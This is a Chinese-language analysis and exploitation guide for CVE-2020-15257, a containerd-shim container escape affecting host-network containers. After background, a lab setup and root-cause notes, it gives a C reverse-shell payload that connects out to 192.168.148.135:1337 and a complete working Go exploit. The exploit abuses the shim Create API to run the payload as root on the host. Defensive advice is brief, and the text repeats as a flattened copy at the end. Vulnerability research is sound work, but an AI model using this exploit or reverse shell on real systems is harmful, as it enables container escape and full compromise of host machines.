CVE-2020-15257-host模式容器逃逸漏洞分析
字数 1348 2025-08-18 17:33:25

CVE-2020-15257 Host模式容器逃逸漏洞分析与利用指南

1. 漏洞概述

CVE-2020-15257是containerd中的一个安全漏洞,影响使用--net=host网络模式的容器。该漏洞允许容器内的攻击者通过containerd-shim API实现容器逃逸,获取宿主机root权限。

2. 基础知识

2.1 容器攻击面

容器共有7个主要攻击面:

  • Linux Kernel
  • Namespace/Cgroups/Aufs
  • Seccomp-bpf
  • Libs
  • Language VM
  • User Code
  • Container(Docker) engine

2.2 containerd架构

Dockerd通过containerd的API接口管理容器,containerd是Dockerd和runc之间的中间组件,主要负责:

  • 容器运行
  • 镜像管理

架构层次:

  1. Dockerd (上层)
  2. containerd (中间层,提供gRPC接口)
  3. containerd-shim (与runc结合创建运行容器)

2.3 OCI Bundle

OCI Bundle是符合OCI标准的一系列文件,包含运行容器所需的所有数据:

  • config.json:容器运行的配置数据
  • 容器的root filesystem

3. 漏洞环境搭建

3.1 主机环境要求

  • 操作系统:Ubuntu 18.04.1 LTS
  • 内核版本:4.15.0-47-generic

3.2 安装特定版本组件

  1. 安装Docker 18.09.0

    wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.0.tgz
    tar xvpf docker-18.09.0.tgz
    sudo cp -p docker/* /usr/bin
    
  2. 配置docker.service文件

    [Unit]
    Description=Docker Application Container Engine
    Documentation=http://docs.docker.com
    After=network.target docker.socket
    
    [Service]
    Type=notify
    EnvironmentFile=-/run/flannel/docker
    WorkingDirectory=/usr/local/bin
    ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:4243 -H unix:///var/run/docker.sock --selinux-enabled=false --log-opt max-size=1g
    ExecReload=/bin/kill -s HUP $MAINPID
    LimitNOFILE=infinity
    LimitNPROC=infinity
    LimitCORE=infinity
    Delegate=yes
    KillMode=process
    Restart=on-failure
    
    [Install]
    WantedBy=multi-user.target
    
  3. 启动Docker服务

    systemctl daemon-reload
    systemctl restart docker
    systemctl enable docker
    
  4. 安装containerd 1.3.7

    sudo apt install containerd.io=1.3.7-1
    
  5. 安装Go语言环境

    sudo apt install golang
    
  6. 拉取Ubuntu镜像

    sudo docker pull ubuntu:18.04
    
  7. 运行测试容器

    sudo docker run -ti --rm --network=host <IMAGE_ID>
    

4. 漏洞分析

4.1 漏洞成因

当容器以--net=host模式启动时,会暴露containerd-shim监听的Unix域套接字。这些套接字位于:

@/containerd-shim/{sha256}.sock

关键问题:

  1. 这些抽象Unix域套接字没有使用mnt命名空间隔离
  2. 仅依赖网络命名空间隔离
  3. 攻击者可通过containerd-shim API进行操作实现逃逸

4.2 containerd-shim API

可调用的API包括:

service Shim {
    rpc State(StateRequest) returns (StateResponse);
    rpc Create(CreateTaskRequest) returns (CreateTaskResponse);
    rpc Start(StartRequest) returns (StartResponse);
    rpc Delete(google.protobuf.Empty) returns (DeleteResponse);
    // ...其他API...
}

4.3 关键利用点

Create API相当于执行runc create,可以读取config.json配置创建新容器。特别重要的是stdout参数支持多种协议,包括:

binary:///bin/sh?-c=<command>

5. 漏洞利用

5.1 利用步骤

  1. 获取必要信息

    • 容器ID:从/proc/self/cgroup获取
    • 宿主机存储路径:从/etc/mtab获取
  2. 准备Payload

    • 编写反弹shell的C程序并编译
    #include <stdio.h>
    #include <stdlib.h>
    
    int main() {
        system("/bin/sh -i >& /dev/tcp/192.168.148.135/1337 0>&1");
        return 0;
    }
    
    • 将编译后的程序放在容器根目录(对应宿主机路径)
  3. 利用Create API执行Payload

    r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: docker_id,
        Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
        Runtime: "io.containerd.runtime.v1.linux",
        Stdin: "anything",
        Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
        Stderr: "anything",
        Terminal: false,
        Checkpoint: "anything",
    })
    

5.2 完整利用代码

package main

import (
    "context"
    "errors"
    "io/ioutil"
    "log"
    "net"
    "regexp"
    "strings"

    "github.com/containerd/ttrpc"
    shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)

func getDockerID() (string, error) {
    re, err := regexp.Compile("pids:/docker/.*")
    if err != nil {
        return "", err
    }
    data, err := ioutil.ReadFile("/proc/self/cgroup")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return "", errors.New("Cannot find docker id")
    }

    tmp_docker_id := matches[0]
    docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
    return docker_id, nil
}

func getMergedPath() (string, error) {
    re, err := regexp.Compile("workdir=.*")
    if err != nil {
        return "", err
    }
    data, err := ioutil.ReadFile("/etc/mtab")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return "", errors.New("Cannot find merged path")
    }

    tmp_path := matches[0]
    path := string(tmp_path[8 : len(tmp_path)-8])
    merged := path + "merged/"
    return merged, nil
}

func getShimSockets() ([][]byte, error) {
    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
    if err != nil {
        return nil, err
    }
    data, err := ioutil.ReadFile("/proc/net/unix")
    matches := re.FindAll(data, -1)
    if matches == nil {
        return nil, errors.New("Cannot find vulnerable socket")
    }
    return matches, nil
}

func exp(sock string, docker_id string, payload_path string) bool {
    sock = strings.Replace(sock, "@", "", -1)
    conn, err := net.Dial("unix", "\x00"+sock)
    if err != nil {
        log.Println(err)
        return false
    }

    client := ttrpc.NewClient(conn)
    shimClient := shimapi.NewShimClient(client)

    ctx := context.Background()
    md := ttrpc.MD{} 
    md.Set("containerd-namespace-ttrpc", "notmoby")
    ctx = ttrpc.WithMetadata(ctx, md)

    r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
        ID: docker_id,
        Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
        Runtime: "io.containerd.runtime.v1.linux",
        Stdin: "anything",
        Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
        Stderr: "anything",
        Terminal: false,
        Checkpoint: "anything",
    })

    if err != nil {
        log.Println(err)
        return false
    }
    log.Println(r)
    return true
}

func main() {
    matchset := make(map[string]bool)
    socks, err := getShimSockets()

    docker_id, err := getDockerID()
    log.Println("find docker id:", docker_id)

    merged_path, err := getMergedPath()
    log.Println("find path:", merged_path)

    if err != nil {
        log.Fatalln(err)
    }

    for _, b := range socks {
        sockname := string(b)
        if _, ok := matchset[sockname]; ok {
            continue
        }
        log.Println("try socket:", sockname)
        matchset[sockname] = true
        if exp(sockname, docker_id, merged_path) {
            break
        }
    }
    return
}

6. 防御措施

  1. 升级containerd:升级到修复版本(1.3.9或1.4.3及以上)
  2. 避免使用host网络模式:除非绝对必要
  3. 实施命名空间隔离:确保正确配置命名空间
  4. 限制容器权限:遵循最小权限原则

7. 参考资源

  1. NCC Group技术分析
  2. 漏洞PoC
  3. containerd架构
  4. 抽象Unix域套接字分析
CVE-2020-15257 Host模式容器逃逸漏洞分析与利用指南 1. 漏洞概述 CVE-2020-15257是containerd中的一个安全漏洞,影响使用 --net=host 网络模式的容器。该漏洞允许容器内的攻击者通过containerd-shim API实现容器逃逸,获取宿主机root权限。 2. 基础知识 2.1 容器攻击面 容器共有7个主要攻击面: Linux Kernel Namespace/Cgroups/Aufs Seccomp-bpf Libs Language VM User Code Container(Docker) engine 2.2 containerd架构 Dockerd通过containerd的API接口管理容器,containerd是Dockerd和runc之间的中间组件,主要负责: 容器运行 镜像管理 架构层次: Dockerd (上层) containerd (中间层,提供gRPC接口) containerd-shim (与runc结合创建运行容器) 2.3 OCI Bundle OCI Bundle是符合OCI标准的一系列文件,包含运行容器所需的所有数据: config.json :容器运行的配置数据 容器的root filesystem 3. 漏洞环境搭建 3.1 主机环境要求 操作系统:Ubuntu 18.04.1 LTS 内核版本:4.15.0-47-generic 3.2 安装特定版本组件 安装Docker 18.09.0 : 配置docker.service文件 : 启动Docker服务 : 安装containerd 1.3.7 : 安装Go语言环境 : 拉取Ubuntu镜像 : 运行测试容器 : 4. 漏洞分析 4.1 漏洞成因 当容器以 --net=host 模式启动时,会暴露containerd-shim监听的Unix域套接字。这些套接字位于: 关键问题: 这些抽象Unix域套接字没有使用mnt命名空间隔离 仅依赖网络命名空间隔离 攻击者可通过containerd-shim API进行操作实现逃逸 4.2 containerd-shim API 可调用的API包括: 4.3 关键利用点 Create API相当于执行 runc create ,可以读取 config.json 配置创建新容器。特别重要的是 stdout 参数支持多种协议,包括: 5. 漏洞利用 5.1 利用步骤 获取必要信息 : 容器ID:从 /proc/self/cgroup 获取 宿主机存储路径:从 /etc/mtab 获取 准备Payload : 编写反弹shell的C程序并编译 将编译后的程序放在容器根目录(对应宿主机路径) 利用Create API执行Payload : 5.2 完整利用代码 6. 防御措施 升级containerd :升级到修复版本(1.3.9或1.4.3及以上) 避免使用host网络模式 :除非绝对必要 实施命名空间隔离 :确保正确配置命名空间 限制容器权限 :遵循最小权限原则 7. 参考资源 NCC Group技术分析 漏洞PoC containerd架构 抽象Unix域套接字分析